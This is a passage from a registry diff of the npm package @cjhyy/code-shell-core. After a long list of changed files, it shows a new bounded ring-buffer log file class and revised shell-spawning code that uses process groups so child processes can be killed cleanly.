@cjhyy/code-shell-core 0.5.0-rc.2 → 0.6.0-rc.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +13 -10
- package/dist/agent/agent-definition-registry.d.ts +3 -0
- package/dist/agent/agent-definition-registry.js +3 -1
- package/dist/agent/agent-definition.d.ts +15 -0
- package/dist/agent/agent-definition.js +27 -3
- package/dist/arena/context/context-tools.js +47 -4
- package/dist/arena/ledger.js +9 -1
- package/dist/arena/strategies/utils.d.ts +1 -4
- package/dist/arena/strategies/utils.js +7 -84
- package/dist/automation/cron-expr.d.ts +10 -0
- package/dist/automation/cron-expr.js +23 -5
- package/dist/automation/runner.d.ts +21 -4
- package/dist/automation/runner.js +48 -12
- package/dist/automation/scheduler.d.ts +38 -0
- package/dist/automation/scheduler.js +89 -12
- package/dist/automation/store.js +5 -2
- package/dist/capability-control/disabled-lists.d.ts +25 -0
- package/dist/capability-control/disabled-lists.js +57 -0
- package/dist/capability-control/overlay.d.ts +15 -0
- package/dist/capability-control/overlay.js +27 -0
- package/dist/cc-orchestrator/agent-adapter.d.ts +50 -0
- package/dist/cc-orchestrator/agent-adapter.js +133 -0
- package/dist/cc-orchestrator/cc-capability.d.ts +19 -0
- package/dist/cc-orchestrator/cc-capability.js +53 -0
- package/dist/cc-orchestrator/codex-session-discovery.d.ts +24 -0
- package/dist/cc-orchestrator/codex-session-discovery.js +191 -0
- package/dist/cc-orchestrator/codex-session-history.d.ts +25 -0
- package/dist/cc-orchestrator/codex-session-history.js +187 -0
- package/dist/cc-orchestrator/external-agent-changes.d.ts +19 -0
- package/dist/cc-orchestrator/external-agent-changes.js +214 -0
- package/dist/cc-orchestrator/external-agent-driver.d.ts +18 -0
- package/dist/cc-orchestrator/external-agent-driver.js +69 -0
- package/dist/cc-orchestrator/index.d.ts +8 -0
- package/dist/cc-orchestrator/index.js +8 -0
- package/dist/cc-orchestrator/relevance-judge.d.ts +15 -0
- package/dist/cc-orchestrator/relevance-judge.js +29 -0
- package/dist/cc-orchestrator/session-discovery.d.ts +46 -0
- package/dist/cc-orchestrator/session-discovery.js +125 -0
- package/dist/cc-orchestrator/session-history.d.ts +19 -0
- package/dist/cc-orchestrator/session-history.js +67 -0
- package/dist/cli/agent-server-stdio.d.ts +15 -1
- package/dist/cli/agent-server-stdio.js +115 -17
- package/dist/cli/agent-server-tcp.js +40 -26
- package/dist/context/compaction.d.ts +86 -0
- package/dist/context/compaction.js +279 -0
- package/dist/context/manager.d.ts +18 -0
- package/dist/context/manager.js +181 -48
- package/dist/context/token-counter.js +13 -0
- package/dist/cost-tracker.js +5 -61
- package/dist/credentials/cipher.d.ts +49 -0
- package/dist/credentials/cipher.js +45 -0
- package/dist/credentials/cookie-jar.d.ts +24 -0
- package/dist/credentials/cookie-jar.js +40 -0
- package/dist/credentials/index.d.ts +7 -0
- package/dist/credentials/index.js +5 -0
- package/dist/credentials/inject-credential-tool.d.ts +20 -0
- package/dist/credentials/inject-credential-tool.js +130 -0
- package/dist/credentials/store.d.ts +72 -0
- package/dist/credentials/store.js +184 -0
- package/dist/credentials/types.d.ts +56 -0
- package/dist/credentials/use-credential-tool.d.ts +29 -0
- package/dist/credentials/use-credential-tool.js +205 -0
- package/dist/credentials/use-gate.d.ts +56 -0
- package/dist/credentials/use-gate.js +52 -0
- package/dist/data/model-metadata.d.ts +77 -0
- package/dist/data/model-metadata.js +56 -0
- package/dist/data/model-metadata.json +216 -0
- package/dist/data/openrouter-models.d.ts +18 -7
- package/dist/data/openrouter-models.js +35 -8
- package/dist/engine/aux-key.d.ts +10 -0
- package/dist/engine/aux-key.js +11 -0
- package/dist/engine/dynamic-tool-defs.d.ts +19 -0
- package/dist/engine/dynamic-tool-defs.js +36 -0
- package/dist/engine/engine.d.ts +280 -141
- package/dist/engine/engine.js +1193 -245
- package/dist/engine/friendly-error.d.ts +18 -0
- package/dist/engine/friendly-error.js +63 -0
- package/dist/engine/goal.d.ts +145 -0
- package/dist/engine/goal.js +144 -0
- package/dist/engine/image-policy.d.ts +13 -0
- package/dist/engine/image-policy.js +24 -0
- package/dist/engine/model-connections-pool.d.ts +17 -0
- package/dist/engine/model-connections-pool.js +67 -0
- package/dist/engine/model-facade.d.ts +10 -0
- package/dist/engine/model-facade.js +15 -0
- package/dist/engine/patch-orphaned-tools.js +3 -0
- package/dist/engine/query.js +2 -0
- package/dist/engine/resolve-llm-config.d.ts +16 -0
- package/dist/engine/resolve-llm-config.js +44 -0
- package/dist/engine/runtime.d.ts +2 -0
- package/dist/engine/runtime.js +27 -1
- package/dist/engine/sandbox-cache-key.d.ts +10 -0
- package/dist/engine/sandbox-cache-key.js +9 -0
- package/dist/engine/sandbox-config.d.ts +31 -0
- package/dist/engine/sandbox-config.js +38 -0
- package/dist/engine/session-usage.d.ts +31 -0
- package/dist/engine/session-usage.js +81 -0
- package/dist/engine/steer-queue.d.ts +33 -0
- package/dist/engine/steer-queue.js +26 -0
- package/dist/engine/streaming-tool-queue.d.ts +12 -0
- package/dist/engine/streaming-tool-queue.js +50 -10
- package/dist/engine/turn-loop.d.ts +94 -4
- package/dist/engine/turn-loop.js +432 -54
- package/dist/engine/types.d.ts +175 -0
- package/dist/engine/types.js +13 -0
- package/dist/external-agents/config.d.ts +2 -0
- package/dist/external-agents/config.js +15 -0
- package/dist/external-agents/types.d.ts +31 -0
- package/dist/external-agents/types.js +1 -0
- package/dist/git/utils.d.ts +12 -0
- package/dist/git/utils.js +38 -6
- package/dist/git/worktree.d.ts +48 -0
- package/dist/git/worktree.js +86 -10
- package/dist/hooks/goal-stop-hook.d.ts +28 -0
- package/dist/hooks/goal-stop-hook.js +186 -9
- package/dist/hooks/registry.d.ts +8 -0
- package/dist/hooks/registry.js +19 -0
- package/dist/hooks/shell-runner.js +10 -21
- package/dist/index.d.ts +51 -7
- package/dist/index.js +62 -5
- package/dist/llm/capabilities/param-specs.d.ts +14 -0
- package/dist/llm/capabilities/param-specs.js +62 -0
- package/dist/llm/capabilities/rules.js +5 -1
- package/dist/llm/capabilities/types.d.ts +10 -0
- package/dist/llm/client-base.d.ts +28 -1
- package/dist/llm/client-base.js +119 -13
- package/dist/llm/model-cache.js +4 -2
- package/dist/llm/model-pool.d.ts +21 -0
- package/dist/llm/model-pool.js +21 -1
- package/dist/llm/provider-auth.d.ts +41 -0
- package/dist/llm/provider-auth.js +76 -0
- package/dist/llm/provider-catalog.d.ts +4 -0
- package/dist/llm/providers/anthropic.js +64 -14
- package/dist/llm/providers/openai.d.ts +36 -0
- package/dist/llm/providers/openai.js +257 -51
- package/dist/llm/reasoning-setting.d.ts +3 -3
- package/dist/llm/reasoning-setting.js +9 -1
- package/dist/llm/stream-watchdog.js +5 -1
- package/dist/llm/token-counter.js +9 -2
- package/dist/llm/types.d.ts +4 -0
- package/dist/logging/sanitize-messages.js +22 -0
- package/dist/lsp/manager.d.ts +1 -1
- package/dist/lsp/manager.js +40 -10
- package/dist/model-catalog/builtin.d.ts +12 -0
- package/dist/model-catalog/builtin.js +412 -0
- package/dist/model-catalog/gen-connections.d.ts +20 -0
- package/dist/model-catalog/gen-connections.js +28 -0
- package/dist/model-catalog/index.d.ts +41 -0
- package/dist/model-catalog/index.js +90 -0
- package/dist/model-catalog/params.d.ts +20 -0
- package/dist/model-catalog/params.js +45 -0
- package/dist/model-catalog/resolve.d.ts +48 -0
- package/dist/model-catalog/resolve.js +33 -0
- package/dist/model-catalog/save-entry.d.ts +32 -0
- package/dist/model-catalog/save-entry.js +104 -0
- package/dist/model-catalog/types.d.ts +561 -0
- package/dist/model-catalog/types.js +93 -0
- package/dist/model-catalog/upsert.d.ts +9 -0
- package/dist/model-catalog/upsert.js +8 -0
- package/dist/onboarding.d.ts +12 -82
- package/dist/onboarding.js +61 -326
- package/dist/plugins/gitOps.d.ts +19 -0
- package/dist/plugins/gitOps.js +73 -4
- package/dist/plugins/installer/checkUpdate.d.ts +16 -0
- package/dist/plugins/installer/checkUpdate.js +32 -0
- package/dist/plugins/installer/codex/convertCommands.d.ts +19 -0
- package/dist/plugins/installer/codex/convertCommands.js +46 -0
- package/dist/plugins/installer/codex/convertMcp.d.ts +5 -2
- package/dist/plugins/installer/codex/convertMcp.js +45 -5
- package/dist/plugins/installer/install.js +25 -1
- package/dist/plugins/installer/installFromArchive.d.ts +43 -0
- package/dist/plugins/installer/installFromArchive.js +134 -0
- package/dist/plugins/installer/installFromSource.js +8 -2
- package/dist/plugins/installer/loadPluginAgents.js +6 -2
- package/dist/plugins/installer/loadPluginMcp.d.ts +9 -2
- package/dist/plugins/installer/loadPluginMcp.js +35 -2
- package/dist/plugins/installer/pruneDisabled.d.ts +24 -0
- package/dist/plugins/installer/pruneDisabled.js +73 -0
- package/dist/plugins/installer/types.d.ts +5 -2
- package/dist/plugins/installer/types.js +1 -0
- package/dist/plugins/installer/uninstall.js +4 -0
- package/dist/plugins/installer/unzip.d.ts +14 -0
- package/dist/plugins/installer/unzip.js +82 -0
- package/dist/plugins/installer/update.d.ts +14 -0
- package/dist/plugins/installer/update.js +53 -21
- package/dist/plugins/loadPluginHooks.d.ts +47 -1
- package/dist/plugins/loadPluginHooks.js +73 -1
- package/dist/plugins/marketplaceManager.d.ts +7 -0
- package/dist/plugins/marketplaceManager.js +20 -0
- package/dist/plugins/pluginCommandHook.js +4 -18
- package/dist/plugins/pluginContent.d.ts +30 -0
- package/dist/plugins/pluginContent.js +83 -0
- package/dist/plugins/pluginInstaller.d.ts +13 -0
- package/dist/plugins/pluginInstaller.js +42 -8
- package/dist/plugins/schemas.js +1 -0
- package/dist/plugins/types.d.ts +6 -0
- package/dist/preset/index.d.ts +11 -1
- package/dist/preset/index.js +115 -6
- package/dist/product/types.d.ts +1 -1
- package/dist/prompt/composer.d.ts +32 -0
- package/dist/prompt/composer.js +75 -21
- package/dist/prompt/instruction-scanner.js +5 -3
- package/dist/prompt/section-loader.js +1 -0
- package/dist/prompt/sections/base.md +2 -0
- package/dist/prompt/sections/browser.md +10 -0
- package/dist/prompt/sections/coding.md +4 -0
- package/dist/protocol/chat-session-manager.d.ts +9 -2
- package/dist/protocol/chat-session-manager.js +38 -0
- package/dist/protocol/chat-session.d.ts +69 -1
- package/dist/protocol/chat-session.js +102 -4
- package/dist/protocol/client.d.ts +31 -0
- package/dist/protocol/client.js +44 -0
- package/dist/protocol/server.d.ts +120 -7
- package/dist/protocol/server.js +753 -51
- package/dist/protocol/transport.js +3 -2
- package/dist/protocol/types.d.ts +60 -0
- package/dist/protocol/types.js +16 -0
- package/dist/quota/credentials.d.ts +3 -0
- package/dist/quota/credentials.js +80 -0
- package/dist/quota/index.d.ts +36 -0
- package/dist/quota/index.js +155 -0
- package/dist/quota/types.d.ts +48 -0
- package/dist/quota/types.js +13 -0
- package/dist/review/review-prompt.d.ts +28 -0
- package/dist/review/review-prompt.js +81 -0
- package/dist/run/FileRunStore.js +8 -3
- package/dist/run/RunApprovalBackend.js +25 -5
- package/dist/run/RunManager.d.ts +12 -0
- package/dist/run/RunManager.js +35 -0
- package/dist/run/factory.d.ts +1 -1
- package/dist/runtime/background-shell.d.ts +139 -0
- package/dist/runtime/background-shell.js +509 -0
- package/dist/runtime/output-clean.d.ts +24 -0
- package/dist/runtime/output-clean.js +41 -0
- package/dist/runtime/ring-file.d.ts +64 -0
- package/dist/runtime/ring-file.js +174 -0
- package/dist/runtime/safe-spawn.js +98 -39
- package/dist/runtime/spawn-common.d.ts +159 -0
- package/dist/runtime/spawn-common.js +404 -0
- package/dist/runtime/truncate-output.d.ts +22 -0
- package/dist/runtime/truncate-output.js +49 -0
- package/dist/runtime/utf8-cut.d.ts +11 -0
- package/dist/runtime/utf8-cut.js +23 -0
- package/dist/services/auto-dream.d.ts +4 -0
- package/dist/services/auto-dream.js +26 -26
- package/dist/services/diagnostics.d.ts +1 -2
- package/dist/services/diagnostics.js +12 -7
- package/dist/services/extract-memories.d.ts +14 -1
- package/dist/services/extract-memories.js +45 -6
- package/dist/services/memory-orchestrator.d.ts +21 -0
- package/dist/services/memory-orchestrator.js +125 -50
- package/dist/services/session-memory.js +24 -12
- package/dist/session/file-history.d.ts +124 -1
- package/dist/session/file-history.js +222 -6
- package/dist/session/memory.d.ts +116 -2
- package/dist/session/memory.js +250 -28
- package/dist/session/session-manager.d.ts +40 -0
- package/dist/session/session-manager.js +119 -3
- package/dist/session/simple-diff.d.ts +23 -0
- package/dist/session/simple-diff.js +84 -0
- package/dist/session/transcript.d.ts +29 -1
- package/dist/session/transcript.js +56 -2
- package/dist/session/undo-target.d.ts +67 -0
- package/dist/session/undo-target.js +144 -0
- package/dist/settings/disk-defaults.d.ts +9 -2
- package/dist/settings/disk-defaults.js +11 -2
- package/dist/settings/feature-flags.d.ts +64 -0
- package/dist/settings/feature-flags.js +61 -0
- package/dist/settings/manager.d.ts +68 -1
- package/dist/settings/manager.js +266 -29
- package/dist/settings/migrate-config.d.ts +45 -0
- package/dist/settings/migrate-config.js +125 -0
- package/dist/settings/schema-export.d.ts +25 -0
- package/dist/settings/schema-export.js +38 -0
- package/dist/settings/schema.d.ts +1186 -771
- package/dist/settings/schema.js +268 -97
- package/dist/skills/scanner.d.ts +9 -0
- package/dist/skills/scanner.js +30 -2
- package/dist/stt/resolve-transcribe.d.ts +31 -0
- package/dist/stt/resolve-transcribe.js +108 -0
- package/dist/stt/transcribe.d.ts +51 -0
- package/dist/stt/transcribe.js +65 -0
- package/dist/tool-system/browser-bridge.d.ts +226 -0
- package/dist/tool-system/browser-bridge.js +163 -0
- package/dist/tool-system/builtin/agent-heartbeat.d.ts +49 -0
- package/dist/tool-system/builtin/agent-heartbeat.js +89 -0
- package/dist/tool-system/builtin/agent-notifications.d.ts +12 -3
- package/dist/tool-system/builtin/agent-notifications.js +9 -3
- package/dist/tool-system/builtin/agent-output-file.d.ts +38 -0
- package/dist/tool-system/builtin/agent-output-file.js +72 -0
- package/dist/tool-system/builtin/agent-registry.d.ts +12 -0
- package/dist/tool-system/builtin/agent-registry.js +8 -0
- package/dist/tool-system/builtin/agent.d.ts +21 -1
- package/dist/tool-system/builtin/agent.js +489 -42
- package/dist/tool-system/builtin/apply-patch/applier.js +66 -8
- package/dist/tool-system/builtin/apply-patch/backup-targets.d.ts +10 -0
- package/dist/tool-system/builtin/apply-patch/backup-targets.js +30 -0
- package/dist/tool-system/builtin/apply-patch/index.js +0 -15
- package/dist/tool-system/builtin/background-jobs.d.ts +76 -0
- package/dist/tool-system/builtin/background-jobs.js +124 -0
- package/dist/tool-system/builtin/background-shell-tools.d.ts +20 -0
- package/dist/tool-system/builtin/background-shell-tools.js +108 -0
- package/dist/tool-system/builtin/background-work.d.ts +67 -0
- package/dist/tool-system/builtin/background-work.js +86 -0
- package/dist/tool-system/builtin/bash-output-style.d.ts +32 -0
- package/dist/tool-system/builtin/bash-output-style.js +40 -0
- package/dist/tool-system/builtin/bash.d.ts +5 -2
- package/dist/tool-system/builtin/bash.js +101 -64
- package/dist/tool-system/builtin/browser-tools.d.ts +33 -0
- package/dist/tool-system/builtin/browser-tools.js +312 -0
- package/dist/tool-system/builtin/cancel-goal.d.ts +31 -0
- package/dist/tool-system/builtin/cancel-goal.js +64 -0
- package/dist/tool-system/builtin/check-quota.d.ts +15 -0
- package/dist/tool-system/builtin/check-quota.js +34 -0
- package/dist/tool-system/builtin/config.js +7 -0
- package/dist/tool-system/builtin/cron.d.ts +7 -0
- package/dist/tool-system/builtin/cron.js +64 -4
- package/dist/tool-system/builtin/drive-claude-code.d.ts +30 -0
- package/dist/tool-system/builtin/drive-claude-code.js +157 -0
- package/dist/tool-system/builtin/edit-model-catalog.d.ts +3 -0
- package/dist/tool-system/builtin/edit-model-catalog.js +104 -0
- package/dist/tool-system/builtin/edit.js +20 -16
- package/dist/tool-system/builtin/eol.d.ts +29 -0
- package/dist/tool-system/builtin/eol.js +37 -0
- package/dist/tool-system/builtin/file-cache.d.ts +6 -0
- package/dist/tool-system/builtin/file-cache.js +8 -0
- package/dist/tool-system/builtin/generate-image.d.ts +35 -0
- package/dist/tool-system/builtin/generate-image.js +278 -50
- package/dist/tool-system/builtin/generate-video.d.ts +55 -0
- package/dist/tool-system/builtin/generate-video.js +364 -0
- package/dist/tool-system/builtin/glob.js +0 -7
- package/dist/tool-system/builtin/grep.d.ts +9 -0
- package/dist/tool-system/builtin/grep.js +106 -11
- package/dist/tool-system/builtin/image-providers.d.ts +86 -0
- package/dist/tool-system/builtin/image-providers.js +190 -0
- package/dist/tool-system/builtin/image-uploader.d.ts +33 -0
- package/dist/tool-system/builtin/image-uploader.js +74 -0
- package/dist/tool-system/builtin/index.d.ts +10 -2
- package/dist/tool-system/builtin/index.js +251 -27
- package/dist/tool-system/builtin/mcp-tools.js +23 -3
- package/dist/tool-system/builtin/memory.js +45 -7
- package/dist/tool-system/builtin/notebook-edit.js +0 -7
- package/dist/tool-system/builtin/powershell.js +8 -2
- package/dist/tool-system/builtin/read.js +10 -10
- package/dist/tool-system/builtin/repl.js +4 -1
- package/dist/tool-system/builtin/skill.js +9 -0
- package/dist/tool-system/builtin/sleep.js +8 -2
- package/dist/tool-system/builtin/tool-search.js +25 -7
- package/dist/tool-system/builtin/video-providers.d.ts +154 -0
- package/dist/tool-system/builtin/video-providers.js +235 -0
- package/dist/tool-system/builtin/web-fetch.js +12 -2
- package/dist/tool-system/builtin/web-search.js +21 -7
- package/dist/tool-system/builtin/worktree.d.ts +2 -1
- package/dist/tool-system/builtin/worktree.js +31 -4
- package/dist/tool-system/builtin/write.js +0 -6
- package/dist/tool-system/context.d.ts +164 -6
- package/dist/tool-system/executor.d.ts +3 -1
- package/dist/tool-system/executor.js +197 -90
- package/dist/tool-system/investigation-guard.js +1 -1
- package/dist/tool-system/mcp-manager.d.ts +42 -4
- package/dist/tool-system/mcp-manager.js +203 -20
- package/dist/tool-system/mcp-stdio-diagnostics.d.ts +9 -0
- package/dist/tool-system/mcp-stdio-diagnostics.js +93 -0
- package/dist/tool-system/path-policy.d.ts +5 -0
- package/dist/tool-system/path-policy.js +307 -8
- package/dist/tool-system/permission.d.ts +39 -2
- package/dist/tool-system/permission.js +283 -70
- package/dist/tool-system/plan-mode-allowlist.d.ts +13 -2
- package/dist/tool-system/plan-mode-allowlist.js +24 -2
- package/dist/tool-system/registry.d.ts +1 -0
- package/dist/tool-system/registry.js +16 -2
- package/dist/tool-system/sandbox/index.d.ts +8 -0
- package/dist/tool-system/sandbox/index.js +7 -2
- package/dist/tool-system/sandbox/off.js +7 -1
- package/dist/tool-system/validate-tool-metadata.d.ts +36 -0
- package/dist/tool-system/validate-tool-metadata.js +63 -0
- package/dist/types.d.ts +252 -7
- package/dist/updater.js +20 -9
- package/dist/utils/envUtils.d.ts +0 -9
- package/dist/utils/envUtils.js +3 -28
- package/dist/utils/exec.d.ts +48 -0
- package/dist/utils/exec.js +154 -0
- package/dist/utils/json.d.ts +12 -0
- package/dist/utils/json.js +92 -0
- package/dist/utils/theme.d.ts +1 -1
- package/dist/utils/theme.js +1 -1
- package/dist/utils/toolDisplay.js +0 -1
- package/package.json +13 -7
- package/dist/agent/coordinator.d.ts +0 -49
- package/dist/agent/coordinator.js +0 -77
- package/dist/settings/manager.test.js +0 -73
- package/dist/tool-system/builtin/remote-trigger.d.ts +0 -6
- package/dist/tool-system/builtin/remote-trigger.js +0 -54
- package/dist/tool-system/builtin/send-message.d.ts +0 -6
- package/dist/tool-system/builtin/send-message.js +0 -47
- /package/dist/{settings/manager.test.d.ts → credentials/types.js} +0 -0
|
@@ -0,0 +1,174 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* RingFile — a bounded, wrap-around output sink for a background shell's
|
|
3
|
+
* stdout/stderr (design §6 "落盘 8MB 环绕覆盖").
|
|
4
|
+
*
|
|
5
|
+
* Semantics: the logical stream is unbounded, but only the **last N bytes**
|
|
6
|
+
* are retained. When the stream exceeds the cap, the oldest bytes are
|
|
7
|
+
* dropped (`didWrap()` flips true). A dev server's startup banner is
|
|
8
|
+
* disposable; the recent tail is what the agent/user wants.
|
|
9
|
+
*
|
|
10
|
+
* Implementation: an in-memory tail Buffer is authoritative (so `readAll`
|
|
11
|
+
* and the manager's offset math never touch disk), mirrored to a file so a
|
|
12
|
+
* user can `tail`/open it with external tools. The disk mirror is
|
|
13
|
+
* best-effort — if the path is unwritable the in-memory buffer still works
|
|
14
|
+
* and the manager degrades to memory-only (design §7).
|
|
15
|
+
*
|
|
16
|
+
* The on-disk file holds the same retained tail as memory (rewritten on
|
|
17
|
+
* wrap, appended otherwise). We accept the cost of an occasional full
|
|
18
|
+
* rewrite on wrap; for line-oriented dev output at the 8MB cap this is rare
|
|
19
|
+
* and cheap relative to the process's own work.
|
|
20
|
+
*/
|
|
21
|
+
import { openSync, writeSync, readSync, ftruncateSync, closeSync, fsyncSync, fstatSync, existsSync, } from "node:fs";
|
|
22
|
+
export class RingFile {
|
|
23
|
+
path;
|
|
24
|
+
capBytes;
|
|
25
|
+
buf = Buffer.alloc(0);
|
|
26
|
+
wrapped = false;
|
|
27
|
+
fd = null;
|
|
28
|
+
diskOk = true;
|
|
29
|
+
readonlyMode = false;
|
|
30
|
+
/** Total bytes ever written to the logical stream (monotonic, NOT capped).
|
|
31
|
+
* The retained window is the last `min(total, cap)` of these. Readers track
|
|
32
|
+
* an ABSOLUTE position in this stream so incremental reads survive
|
|
33
|
+
* wraparound (a window-relative offset would silently skip new data once
|
|
34
|
+
* the window starts sliding). */
|
|
35
|
+
total = 0;
|
|
36
|
+
constructor(path, capBytes,
|
|
37
|
+
/** Read-only: load the EXISTING file's tail into memory and never truncate
|
|
38
|
+
* or write. Used to surface a recovered orphan shell's already-captured
|
|
39
|
+
* output (the live process owns the .log in another worker). */
|
|
40
|
+
readonlyExisting = false) {
|
|
41
|
+
this.path = path;
|
|
42
|
+
this.capBytes = capBytes;
|
|
43
|
+
if (readonlyExisting) {
|
|
44
|
+
this.readonlyMode = true;
|
|
45
|
+
this.fd = null;
|
|
46
|
+
try {
|
|
47
|
+
if (existsSync(path)) {
|
|
48
|
+
// Read only the trailing `capBytes`, not the whole file. A reader
|
|
49
|
+
// never keeps more than the cap (see write()), so slurping a
|
|
50
|
+
// multi-MB .log just to discard all but the tail blocks the worker's
|
|
51
|
+
// event loop on startup for nothing (see memory: main sync-fs freeze).
|
|
52
|
+
const rfd = openSync(path, "r");
|
|
53
|
+
try {
|
|
54
|
+
const size = fstatSync(rfd).size;
|
|
55
|
+
const toRead = Math.min(size, capBytes);
|
|
56
|
+
const start = size - toRead;
|
|
57
|
+
const data = Buffer.alloc(toRead);
|
|
58
|
+
if (toRead > 0)
|
|
59
|
+
readSync(rfd, data, 0, toRead, start);
|
|
60
|
+
this.buf = data;
|
|
61
|
+
this.total = size; // logical stream length stays the full file size
|
|
62
|
+
this.wrapped = size > capBytes;
|
|
63
|
+
}
|
|
64
|
+
finally {
|
|
65
|
+
closeSync(rfd);
|
|
66
|
+
}
|
|
67
|
+
}
|
|
68
|
+
}
|
|
69
|
+
catch {
|
|
70
|
+
/* best effort — empty buf on read failure */
|
|
71
|
+
}
|
|
72
|
+
return;
|
|
73
|
+
}
|
|
74
|
+
try {
|
|
75
|
+
// 'w' — truncate/create. One file per shell, owned by this RingFile.
|
|
76
|
+
this.fd = openSync(path, "w");
|
|
77
|
+
}
|
|
78
|
+
catch {
|
|
79
|
+
this.diskOk = false;
|
|
80
|
+
this.fd = null;
|
|
81
|
+
}
|
|
82
|
+
}
|
|
83
|
+
/** True if the disk mirror is usable (false → memory-only degraded mode). */
|
|
84
|
+
diskAvailable() {
|
|
85
|
+
return this.diskOk;
|
|
86
|
+
}
|
|
87
|
+
write(chunk) {
|
|
88
|
+
this.total += chunk.length;
|
|
89
|
+
const combined = this.buf.length
|
|
90
|
+
? Buffer.concat([this.buf, chunk])
|
|
91
|
+
: chunk;
|
|
92
|
+
if (combined.length <= this.capBytes) {
|
|
93
|
+
this.buf = combined;
|
|
94
|
+
this.appendToDisk(chunk);
|
|
95
|
+
return;
|
|
96
|
+
}
|
|
97
|
+
// Over cap: keep only the trailing capBytes.
|
|
98
|
+
this.wrapped = true;
|
|
99
|
+
this.buf = combined.subarray(combined.length - this.capBytes);
|
|
100
|
+
this.rewriteDisk();
|
|
101
|
+
}
|
|
102
|
+
/** Whether any bytes have been discarded by wraparound. */
|
|
103
|
+
didWrap() {
|
|
104
|
+
return this.wrapped;
|
|
105
|
+
}
|
|
106
|
+
/** The retained tail, decoded as UTF-8. */
|
|
107
|
+
readAll() {
|
|
108
|
+
return this.buf.toString("utf8");
|
|
109
|
+
}
|
|
110
|
+
/** Current retained byte length (for the agent read offset math). */
|
|
111
|
+
byteLength() {
|
|
112
|
+
return this.buf.length;
|
|
113
|
+
}
|
|
114
|
+
/** Bytes from `offset` (within the retained window) to the end. */
|
|
115
|
+
sliceFrom(offset) {
|
|
116
|
+
const start = Math.max(0, Math.min(offset, this.buf.length));
|
|
117
|
+
return this.buf.subarray(start);
|
|
118
|
+
}
|
|
119
|
+
/** Total bytes ever written to the logical stream (monotonic). Readers use
|
|
120
|
+
* this as their next cursor after a read. */
|
|
121
|
+
totalWritten() {
|
|
122
|
+
return this.total;
|
|
123
|
+
}
|
|
124
|
+
/**
|
|
125
|
+
* Bytes from an ABSOLUTE stream position to the current end. `absOffset` is
|
|
126
|
+
* a value previously returned by {@link totalWritten}. If it points before
|
|
127
|
+
* the retained window (the bytes were discarded by wraparound), returns the
|
|
128
|
+
* whole window. If it's at/after the end, returns empty.
|
|
129
|
+
*/
|
|
130
|
+
sliceFromAbsolute(absOffset) {
|
|
131
|
+
const windowStartAbs = this.total - this.buf.length; // abs position of buf[0]
|
|
132
|
+
const rel = absOffset - windowStartAbs;
|
|
133
|
+
const start = Math.max(0, Math.min(rel, this.buf.length));
|
|
134
|
+
return this.buf.subarray(start);
|
|
135
|
+
}
|
|
136
|
+
close() {
|
|
137
|
+
if (this.fd !== null) {
|
|
138
|
+
try {
|
|
139
|
+
fsyncSync(this.fd);
|
|
140
|
+
}
|
|
141
|
+
catch {
|
|
142
|
+
/* best-effort */
|
|
143
|
+
}
|
|
144
|
+
try {
|
|
145
|
+
closeSync(this.fd);
|
|
146
|
+
}
|
|
147
|
+
catch {
|
|
148
|
+
/* best-effort */
|
|
149
|
+
}
|
|
150
|
+
this.fd = null;
|
|
151
|
+
}
|
|
152
|
+
}
|
|
153
|
+
appendToDisk(chunk) {
|
|
154
|
+
if (this.fd === null)
|
|
155
|
+
return;
|
|
156
|
+
try {
|
|
157
|
+
writeSync(this.fd, chunk);
|
|
158
|
+
}
|
|
159
|
+
catch {
|
|
160
|
+
this.diskOk = false;
|
|
161
|
+
}
|
|
162
|
+
}
|
|
163
|
+
rewriteDisk() {
|
|
164
|
+
if (this.fd === null)
|
|
165
|
+
return;
|
|
166
|
+
try {
|
|
167
|
+
ftruncateSync(this.fd, 0);
|
|
168
|
+
writeSync(this.fd, this.buf, 0, this.buf.length, 0);
|
|
169
|
+
}
|
|
170
|
+
catch {
|
|
171
|
+
this.diskOk = false;
|
|
172
|
+
}
|
|
173
|
+
}
|
|
174
|
+
}
|
|
@@ -35,6 +35,7 @@
|
|
|
35
35
|
*/
|
|
36
36
|
import { spawn } from "node:child_process";
|
|
37
37
|
import { StringDecoder } from "node:string_decoder";
|
|
38
|
+
import { resolveSpawnTarget, defaultShellBinary, killChildTree, killProcessGroup } from "./spawn-common.js";
|
|
38
39
|
export const DEFAULT_MAX_OUTPUT_BYTES = 1_000_000;
|
|
39
40
|
export const DEFAULT_IO_DRAIN_GRACE_MS = 100;
|
|
40
41
|
const TIMEOUT_SIGKILL_GRACE_MS = 2000;
|
|
@@ -49,6 +50,7 @@ export function safeSpawn(file, args, opts) {
|
|
|
49
50
|
args,
|
|
50
51
|
opts,
|
|
51
52
|
cleanup: undefined,
|
|
53
|
+
resolveMs: undefined,
|
|
52
54
|
});
|
|
53
55
|
}
|
|
54
56
|
/**
|
|
@@ -59,25 +61,34 @@ export function safeSpawn(file, args, opts) {
|
|
|
59
61
|
* abort, timeout, pre-spawn-abort. Used by the Bash tool.
|
|
60
62
|
*/
|
|
61
63
|
export function safeSpawnShell(command, opts) {
|
|
62
|
-
const
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
}
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
64
|
+
const resolveStartedAt = spawnProfileEnabled() ? performance.now() : 0;
|
|
65
|
+
// Don't hardcode a POSIX default here — resolveSpawnTarget →
|
|
66
|
+
// resolveShellInvocation picks the platform shell (cmd.exe on Windows,
|
|
67
|
+
// $SHELL/bin/bash on POSIX) when opts.shell is omitted.
|
|
68
|
+
const shell = opts.shell ?? defaultShellBinary();
|
|
69
|
+
const { file, args, cleanup } = resolveSpawnTarget(command, {
|
|
70
|
+
cwd: opts.cwd,
|
|
71
|
+
shell,
|
|
72
|
+
sandbox: opts.sandbox,
|
|
73
|
+
});
|
|
74
|
+
// Shell commands run free-form LLM strings that routinely background
|
|
75
|
+
// grandchildren (`pytest &`, `sh → npm → node`). Spawn as a process-group
|
|
76
|
+
// leader (detached) so a timeout/abort kill reaches the WHOLE subtree, not
|
|
77
|
+
// just the direct shell — otherwise an orphaned grandchild keeps the
|
|
78
|
+
// inherited stdout pipe open and Node's `close` never fires (the hang).
|
|
79
|
+
return runLifecycle({
|
|
80
|
+
file,
|
|
81
|
+
args,
|
|
82
|
+
opts,
|
|
83
|
+
cleanup,
|
